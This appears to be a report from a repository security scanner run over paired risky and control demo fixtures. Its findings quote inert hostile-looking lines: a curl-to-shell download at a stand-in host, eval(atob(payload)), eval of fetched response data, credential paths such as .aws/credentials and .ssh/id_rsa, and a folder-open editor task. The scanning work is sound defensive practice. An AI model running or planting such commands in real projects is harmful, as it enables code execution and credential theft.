repyy Report

Read-only repository preflight

repyy security review

repyy 0.6.0-dev commit unknown rules 2026.09.26 intelligence 2026-09-26.1 generated

Report sha256:e5ae3b14648b7f7a7e1594cc8839dbeee06f83a8e9484a33b9359d6ba2dd5a98

0 results
More filters

Repository

demo/lifecycle/risky

1 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: PKG-001 at package.json:1.

Needs attention
1
Critical priority
0
High priority
0
Files scanned
3

1 total findings 0 high total 1 medium 0 low 0 block 1 review 0 harden 0 informational 129 B 0s

Findings

PKG-001 · Package lifecycle script: postinstall

medium medium confidence review manifest-hook package-lifecycle

1 occurrence
package.json:1
echo REPYY_INERT_LIFECYCLE
Why this was flagged and what to do
Why it matters

This rule identifies package lifecycle behavior that can affect repository trust or execution safety.

Applies to: package.json and supported dependency manifests

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Review this script before installing dependencies.

Files

  • package.json 1 findings · highest medium

Coverage

Complete · 3 files · 129 B

Repository

demo/lifecycle/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention
0
Critical priority
0
High priority
0
Files scanned
3

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 114 B 0s

Findings

No enabled rule matched. This is not a guarantee that the repository is safe.

Files

    Coverage

    Complete · 3 files · 114 B

    Repository

    demo/startup/risky

    1 visible findings

    Scanned commit: unavailable (not recorded)

    Scan mode: host

    REVIEW REQUIRED

    Highest-priority finding: IMPORT-001 at postcss.config.cjs:2.

    Needs attention
    1
    Critical priority
    0
    High priority
    1
    Files scanned
    4

    1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 173 B 0s

    Findings

    IMPORT-001 · Dynamic import or require assembled at runtime

    high medium confidence review executable dynamic-import

    1 occurrence
    postcss.config.cjs:2
    require(markerPath);
    
    Why this was flagged and what to do
    Why it matters

    This rule identifies dynamic import behavior that can affect repository trust or execution safety.

    Applies to: *.js, *.cjs, *.mjs, *.jsx, *.ts, *.tsx, *.py, *.java, *.kt

    Common legitimate use

    The behavior may be legitimate when its inputs, destination, and execution context are understood.

    Recommended action

    Inspect the surrounding code and remove the behavior if it is not essential.

    Files

    • postcss.config.cjs 1 findings · highest high

    Coverage

    Complete · 4 files · 173 B

    Repository

    demo/startup/control

    0 visible findings

    Scanned commit: unavailable (not recorded)

    Scan mode: host

    NO RELEVANT FINDINGS DETECTED

    No enabled rule matched within the completed scan. This does not prove the repository is safe.

    Needs attention
    0
    Critical priority
    0
    High priority
    0
    Files scanned
    3

    0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 88 B 0s

    Findings

    No enabled rule matched. This is not a guarantee that the repository is safe.

    Files

      Coverage

      Complete · 3 files · 88 B

      Repository

      demo/disguised-asset/risky

      2 visible findings

      Scanned commit: unavailable (not recorded)

      Scan mode: host

      REVIEW REQUIRED

      Highest-priority finding: EXEC-001 at banner.png:1.

      Needs attention
      2
      Critical priority
      0
      High priority
      1
      Files scanned
      3

      2 total findings 1 high total 1 medium 0 low 0 block 2 review 0 harden 0 informational 92 B 0s

      Findings

      EXEC-001 · Dynamic code execution primitive

      high medium confidence review executable dynamic-execution

      1 occurrence
      banner.png:1
      const marker = 'eval(atob(payload))';
      
      Why this was flagged and what to do
      Why it matters

      This rule identifies dynamic execution behavior that can affect repository trust or execution safety.

      Applies to: **

      Common legitimate use

      Frameworks and developer tools sometimes evaluate generated or sandboxed code.

      Recommended action

      Inspect the surrounding code and remove the behavior if it is not essential.

      OBFS-002 · String decoding or character-code construction

      medium medium confidence review executable string-obfuscation

      1 occurrence
      banner.png:1
      const marker = 'eval(atob(payload))';
      
      Why this was flagged and what to do
      Why it matters

      This rule identifies string obfuscation behavior that can affect repository trust or execution safety.

      Applies to: **

      Common legitimate use

      The behavior may be legitimate when its inputs, destination, and execution context are understood.

      Recommended action

      Inspect the surrounding code and remove the behavior if it is not essential.

      Files

      • banner.png 2 findings · highest high

      Coverage

      Complete · 3 files · 92 B

      Repository

      demo/disguised-asset/control

      0 visible findings

      Scanned commit: unavailable (not recorded)

      Scan mode: host

      NO RELEVANT FINDINGS DETECTED

      No enabled rule matched within the completed scan. This does not prove the repository is safe.

      Needs attention
      0
      Critical priority
      0
      High priority
      0
      Files scanned
      3

      0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 154 B 0s

      Findings

      No enabled rule matched. This is not a guarantee that the repository is safe.

      Files

        Coverage

        Complete · 3 files · 154 B

        Repository

        demo/folder-open/risky

        2 visible findings

        Scanned commit: unavailable (not recorded)

        Scan mode: host

        REVIEW REQUIRED

        Highest-priority finding: IDE-001 at .vscode/tasks.json:1.

        Needs attention
        2
        Critical priority
        0
        High priority
        1
        Files scanned
        3

        2 total findings 1 high total 1 medium 0 low 0 block 2 review 0 harden 0 informational 216 B 0s

        Findings

        IDE-001 · Editor configuration can execute a command automatically

        high high confidence review executable editor-auto-execution

        1 occurrence
        .vscode/tasks.json:1
        {"version": "2.0.0", "tasks": [{"label": "Inert fixture", "type": "process", "command": "REPYY_NONEXISTENT_INERT_MARKER", "runOptions": {"runOn": "folderOpen"}}…
        
        Why this was flagged and what to do
        Why it matters

        This rule identifies editor auto execution behavior that can affect repository trust or execution safety.

        Applies to: tasks.json, settings.json, devcontainer.json, *.code-workspace, *.xml

        Common legitimate use

        The behavior may be legitimate when its inputs, destination, and execution context are understood.

        Recommended action

        Do not run the repository. Verify the source and intent in an isolated environment.

        IDE-005 · Workspace task or debug configuration references an executable command

        medium high confidence review executable editor-command

        1 occurrence
        .vscode/tasks.json:1
        {"version": "2.0.0", "tasks": [{"label": "Inert fixture", "type": "process", "command": "REPYY_NONEXISTENT_INERT_MARKER", "runOptions": {"runOn": "folderOpen"}}…
        
        Why this was flagged and what to do
        Why it matters

        This rule identifies editor command behavior that can affect repository trust or execution safety.

        Applies to: tasks.json, launch.json

        Common legitimate use

        Workspace tasks and debugger configurations commonly invoke reviewed project tools.

        Recommended action

        Inspect the task command, arguments, referenced scripts, and debugger configuration before running it.

        Files

        • .vscode/tasks.json 2 findings · highest high

        Coverage

        Complete · 3 files · 216 B

        Repository

        demo/folder-open/control

        1 visible findings

        Scanned commit: unavailable (not recorded)

        Scan mode: host

        REVIEW REQUIRED

        Highest-priority finding: IDE-005 at .vscode/tasks.json:1.

        Needs attention
        1
        Critical priority
        0
        High priority
        0
        Files scanned
        3

        1 total findings 0 high total 1 medium 0 low 0 block 1 review 0 harden 0 informational 177 B 0s

        Findings

        IDE-005 · Workspace task or debug configuration references an executable command

        medium high confidence review executable editor-command

        1 occurrence
        .vscode/tasks.json:1
        {"version": "2.0.0", "tasks": [{"label": "Manual marker", "type": "process", "command": "REPYY_NONEXISTENT_INERT_MARKER"}]}
        
        Why this was flagged and what to do
        Why it matters

        This rule identifies editor command behavior that can affect repository trust or execution safety.

        Applies to: tasks.json, launch.json

        Common legitimate use

        Workspace tasks and debugger configurations commonly invoke reviewed project tools.

        Recommended action

        Inspect the task command, arguments, referenced scripts, and debugger configuration before running it.

        Files

        • .vscode/tasks.json 1 findings · highest medium

        Coverage

        Complete · 3 files · 177 B

        Repository

        demo/git-hook/risky

        2 visible findings

        Scanned commit: unavailable (not recorded)

        Scan mode: host

        REVIEW REQUIRED

        Highest-priority finding: GITHOOK-001 at .git/hooks/pre-commit:2.

        Needs attention
        1
        Critical priority
        0
        High priority
        1
        Files scanned
        3

        2 total findings 1 high total 0 medium 1 low 0 block 1 review 0 harden 1 informational 122 B 0s

        Findings

        GITHOOK-001 · Executable Git hook or hooks-path override

        high medium confidence review git-hook git-hook

        1 occurrence
        .git/hooks/pre-commit:2
        # Inert pre-commit fixture
        
        Why this was flagged and what to do
        Why it matters

        This rule identifies git hook behavior that can affect repository trust or execution safety.

        Applies to: config, *.hook, pre-commit, post-checkout, post-merge, post-rewrite

        Common legitimate use

        The behavior may be legitimate when its inputs, destination, and execution context are understood.

        Recommended action

        Inspect the surrounding code and remove the behavior if it is not essential.

        EXECBIT-001 · File has executable permissions

        low medium confidence informational executable executable-file

        1 occurrence
        .git/hooks/pre-commit
        executable permission bit
        
        Why this was flagged and what to do
        Why it matters

        This rule identifies executable file behavior that can affect repository trust or execution safety.

        Applies to: **

        Common legitimate use

        The behavior may be legitimate when its inputs, destination, and execution context are understood.

        Recommended action

        Review whether this file needs to be executable.

        Files

        • .git/hooks/pre-commit 2 findings · highest high

        Coverage

        Complete · 3 files · 122 B

        Repository

        demo/git-hook/control

        0 visible findings

        Scanned commit: unavailable (not recorded)

        Scan mode: host

        NO RELEVANT FINDINGS DETECTED

        No enabled rule matched within the completed scan. This does not prove the repository is safe.

        Needs attention
        0
        Critical priority
        0
        High priority
        0
        Files scanned
        2

        0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 54 B 0s

        Findings

        No enabled rule matched. This is not a guarantee that the repository is safe.

        Files

          Coverage

          Complete · 2 files · 54 B

          Repository

          demo/obfuscated-download/risky

          3 visible findings

          Scanned commit: unavailable (not recorded)

          Scan mode: host

          FINDINGS DETECTED

          Highest-priority finding: CHAIN-001 at marker.js:1.

          Needs attention
          2
          Critical priority
          1
          High priority
          0
          Files scanned
          3

          3 total findings 0 high total 2 medium 0 low 1 block 1 review 0 harden 1 informational 133 B 0s

          Findings

          CHAIN-001 · Remote download piped into a command interpreter

          critical high confidence block executable download-execute

          1 occurrence
          marker.js:1
          const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';
          
          Why this was flagged and what to do
          Why it matters

          This rule identifies download execute behavior that can affect repository trust or execution safety.

          Applies to: **

          Common legitimate use

          The behavior may be legitimate when its inputs, destination, and execution context are understood.

          Recommended action

          Do not run the repository. Verify the source and intent in an isolated environment.

          OBFS-002 · String decoding or character-code construction

          medium medium confidence review executable string-obfuscation

          1 occurrence
          marker.js:1
          const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';
          
          Why this was flagged and what to do
          Why it matters

          This rule identifies string obfuscation behavior that can affect repository trust or execution safety.

          Applies to: **

          Common legitimate use

          The behavior may be legitimate when its inputs, destination, and execution context are understood.

          Recommended action

          Inspect the surrounding code and remove the behavior if it is not essential.

          NET-001 · Remote content fetch

          medium low confidence informational executable remote-fetch

          1 occurrence
          marker.js:1
          const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';
          
          Why this was flagged and what to do
          Why it matters

          This rule identifies remote fetch behavior that can affect repository trust or execution safety.

          Applies to: **

          Common legitimate use

          Installers and update tools may retrieve content from reviewed, pinned sources.

          Recommended action

          Inspect the surrounding code and remove the behavior if it is not essential.

          Files

          • marker.js 3 findings · highest critical

          Coverage

          Complete · 3 files · 133 B

          Repository

          demo/obfuscated-download/control

          0 visible findings

          Scanned commit: unavailable (not recorded)

          Scan mode: host

          NO RELEVANT FINDINGS DETECTED

          No enabled rule matched within the completed scan. This does not prove the repository is safe.

          Needs attention
          0
          Critical priority
          0
          High priority
          0
          Files scanned
          3

          0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 94 B 0s

          Findings

          No enabled rule matched. This is not a guarantee that the repository is safe.

          Files

            Coverage

            Complete · 3 files · 94 B

            Repository

            demo/credential-path/risky

            1 visible findings

            Scanned commit: unavailable (not recorded)

            Scan mode: host

            REVIEW REQUIRED

            Highest-priority finding: CRED-001 at marker.js:1.

            Needs attention
            1
            Critical priority
            0
            High priority
            1
            Files scanned
            3

            1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 106 B 0s

            Findings

            CRED-001 · Access to sensitive credential storage

            high high confidence review executable credential-harvesting

            1 occurrence
            marker.js:1
            const marker = '/REPYY_FAKE_HOME/.aws/credentials';
            
            Why this was flagged and what to do
            Why it matters

            This rule identifies credential harvesting behavior that can affect repository trust or execution safety.

            Applies to: **

            Common legitimate use

            The behavior may be legitimate when its inputs, destination, and execution context are understood.

            Recommended action

            Do not run the repository. Verify the source and intent in an isolated environment.

            Files

            • marker.js 1 findings · highest high

            Coverage

            Complete · 3 files · 106 B

            Repository

            demo/credential-path/control

            1 visible findings

            Scanned commit: unavailable (not recorded)

            Scan mode: host

            REVIEW REQUIRED

            Highest-priority finding: ENV-001 at marker.js:1.

            Needs attention
            0
            Critical priority
            0
            High priority
            0
            Files scanned
            3

            1 total findings 0 high total 1 medium 0 low 0 block 0 review 0 harden 1 informational 89 B 0s

            Findings

            ENV-001 · Broad environment-variable access

            medium low confidence informational executable environment-access

            1 occurrence
            marker.js:1
            const mode = process.env.NODE_ENV;
            
            Why this was flagged and what to do
            Why it matters

            This rule identifies environment access behavior that can affect repository trust or execution safety.

            Applies to: **

            Common legitimate use

            Applications commonly read explicitly named configuration variables.

            Recommended action

            Inspect the surrounding code and remove the behavior if it is not essential.

            Files

            • marker.js 1 findings · highest medium

            Coverage

            Complete · 3 files · 89 B

            Repository

            demo/docker-socket/risky

            1 visible findings

            Scanned commit: unavailable (not recorded)

            Scan mode: host

            REVIEW REQUIRED

            Highest-priority finding: DOCKER-001 at compose.yaml:5.

            Needs attention
            1
            Critical priority
            0
            High priority
            1
            Files scanned
            3

            1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 191 B 0s

            Findings

            DOCKER-001 · Container configuration exposes host control

            high medium confidence review executable container-risk

            2 occurrences
            compose.yaml:5
            - [REDACTED]
            
            Why this was flagged and what to do
            Why it matters

            This rule identifies container risk behavior that can affect repository trust or execution safety.

            Applies to: Dockerfile, Dockerfile.*, docker-compose*.yml, docker-compose*.yaml, compose*.yml, compose*.yaml

            Common legitimate use

            The behavior may be legitimate when its inputs, destination, and execution context are understood.

            Recommended action

            Inspect the surrounding code and remove the behavior if it is not essential.

            Files

            • compose.yaml 1 findings · highest high

            Coverage

            Complete · 3 files · 191 B

            Repository

            demo/docker-socket/control

            0 visible findings

            Scanned commit: unavailable (not recorded)

            Scan mode: host

            NO RELEVANT FINDINGS DETECTED

            No enabled rule matched within the completed scan. This does not prove the repository is safe.

            Needs attention
            0
            Critical priority
            0
            High priority
            0
            Files scanned
            3

            0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 162 B 0s

            Findings

            No enabled rule matched. This is not a guarantee that the repository is safe.

            Files

              Coverage

              Complete · 3 files · 162 B

              Repository

              demo/sourced-package/risky

              1 visible findings

              Scanned commit: unavailable (not recorded)

              Scan mode: host

              REVIEW REQUIRED

              Highest-priority finding: IOC-PKG-GHSA-rqwx-v86m-wwff at package.json:1.

              Needs attention
              1
              Critical priority
              0
              High priority
              1
              Files scanned
              3

              1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 110 B 0s

              Findings

              IOC-PKG-GHSA-rqwx-v86m-wwff · Exact declared version matches malware advisory GHSA-rqwx-v86m-wwff; no resolved version was established

              high medium confidence review manifest-review known-malicious-package

              1 occurrence
              package.json:1
              process-log 1.0.0
              
              Why this was flagged and what to do
              Why it matters

              This rule identifies known malicious package behavior that can affect repository trust or execution safety.

              Applies to: package.json and supported dependency manifests

              Common legitimate use

              The behavior may be legitimate when its inputs, destination, and execution context are understood.

              Recommended action

              Do not install dependencies. Review the source advisory and resolved lockfile before proceeding: https://github.com/advisories/GHSA-rqwx-v86m-wwff

              Files

              • package.json 1 findings · highest high

              Coverage

              Complete · 3 files · 110 B

              Repository

              demo/sourced-package/control

              0 visible findings

              Scanned commit: unavailable (not recorded)

              Scan mode: host

              NO RELEVANT FINDINGS DETECTED

              No enabled rule matched within the completed scan. This does not prove the repository is safe.

              Needs attention
              0
              Critical priority
              0
              High priority
              0
              Files scanned
              3

              0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 113 B 0s

              Findings

              No enabled rule matched. This is not a guarantee that the repository is safe.

              Files

                Coverage

                Complete · 3 files · 113 B

                Repository

                demo/axios-response-execution/risky

                2 visible findings

                Scanned commit: unavailable (not recorded)

                Scan mode: host

                FINDINGS DETECTED

                Highest-priority finding: FLOW-001 at loader.mjs:1.

                Needs attention
                2
                Critical priority
                1
                High priority
                1
                Files scanned
                3

                2 total findings 1 high total 0 medium 0 low 1 block 1 review 0 harden 0 informational 176 B 0s

                Findings

                FLOW-001 · Axios response data from line 1 reaches execution at line 1

                critical high confidence block executable remote-response-execution

                2 occurrences
                loader.mjs:1
                axios.get(
                
                loader.mjs:1
                eval(
                
                Why this was flagged and what to do
                Why it matters

                This rule identifies remote response execution behavior that can affect repository trust or execution safety.

                Applies to: *.js, *.cjs, *.mjs, *.jsx, *.ts, *.tsx

                Common legitimate use

                The behavior may be legitimate when its inputs, destination, and execution context are understood.

                Recommended action

                Do not execute remote response data. Review both the request and execution path.

                EXEC-001 · Dynamic code execution primitive

                high medium confidence review executable dynamic-execution

                1 occurrence
                loader.mjs:1
                async function unusedExample() { const response = await [REDACTED] eval(response.data); }
                
                Why this was flagged and what to do
                Why it matters

                This rule identifies dynamic execution behavior that can affect repository trust or execution safety.

                Applies to: **

                Common legitimate use

                Frameworks and developer tools sometimes evaluate generated or sandboxed code.

                Recommended action

                Inspect the surrounding code and remove the behavior if it is not essential.

                Files

                • loader.mjs 2 findings · highest critical

                Coverage

                Complete · 3 files · 176 B

                Repository

                demo/axios-response-execution/control

                0 visible findings

                Scanned commit: unavailable (not recorded)

                Scan mode: host

                NO RELEVANT FINDINGS DETECTED

                No enabled rule matched within the completed scan. This does not prove the repository is safe.

                Needs attention
                0
                Critical priority
                0
                High priority
                0
                Files scanned
                3

                0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 177 B 0s

                Findings

                No enabled rule matched. This is not a guarantee that the repository is safe.

                Files

                  Coverage

                  Complete · 3 files · 177 B

                  Repository

                  demo/literal-recovery/risky

                  2 visible findings

                  Scanned commit: unavailable (not recorded)

                  Scan mode: host

                  REVIEW REQUIRED

                  Highest-priority finding: DECODE-001 at marker.js:1.

                  Needs attention
                  2
                  Critical priority
                  0
                  High priority
                  1
                  Files scanned
                  3

                  2 total findings 1 high total 1 medium 0 low 0 block 2 review 0 harden 0 informational 131 B 0s

                  Findings

                  DECODE-001 · Static literal character/byte array reveals Access to sensitive credential storage

                  high medium confidence review executable decoded-indicator

                  1 occurrence
                  marker.js:1
                  .ssh/id_rsa
                  

                  Contributing rules: CRED-001

                  Why this was flagged and what to do
                  Why it matters

                  This rule identifies decoded indicator behavior that can affect repository trust or execution safety.

                  Applies to: *.js, *.cjs, *.mjs, *.jsx, *.ts, *.tsx

                  Common legitimate use

                  The behavior may be legitimate when its inputs, destination, and execution context are understood.

                  Recommended action

                  Review the source literal and its use without executing it.

                  OBFS-002 · String decoding or character-code construction

                  medium medium confidence review executable string-obfuscation

                  1 occurrence
                  marker.js:1
                  const marker = [REDACTED]
                  
                  Why this was flagged and what to do
                  Why it matters

                  This rule identifies string obfuscation behavior that can affect repository trust or execution safety.

                  Applies to: **

                  Common legitimate use

                  The behavior may be legitimate when its inputs, destination, and execution context are understood.

                  Recommended action

                  Inspect the surrounding code and remove the behavior if it is not essential.

                  Files

                  • marker.js 2 findings · highest high

                  Coverage

                  Complete · 3 files · 131 B

                  Repository

                  demo/literal-recovery/control

                  1 visible findings

                  Scanned commit: unavailable (not recorded)

                  Scan mode: host

                  REVIEW REQUIRED

                  Highest-priority finding: OBFS-002 at marker.js:1.

                  Needs attention
                  1
                  Critical priority
                  0
                  High priority
                  0
                  Files scanned
                  3

                  1 total findings 0 high total 1 medium 0 low 0 block 1 review 0 harden 0 informational 110 B 0s

                  Findings

                  OBFS-002 · String decoding or character-code construction

                  medium medium confidence review executable string-obfuscation

                  1 occurrence
                  marker.js:1
                  const marker = String.fromCharCode(72,101,108,108,111);
                  
                  Why this was flagged and what to do
                  Why it matters

                  This rule identifies string obfuscation behavior that can affect repository trust or execution safety.

                  Applies to: **

                  Common legitimate use

                  The behavior may be legitimate when its inputs, destination, and execution context are understood.

                  Recommended action

                  Inspect the surrounding code and remove the behavior if it is not essential.

                  Files

                  • marker.js 1 findings · highest medium

                  Coverage

                  Complete · 3 files · 110 B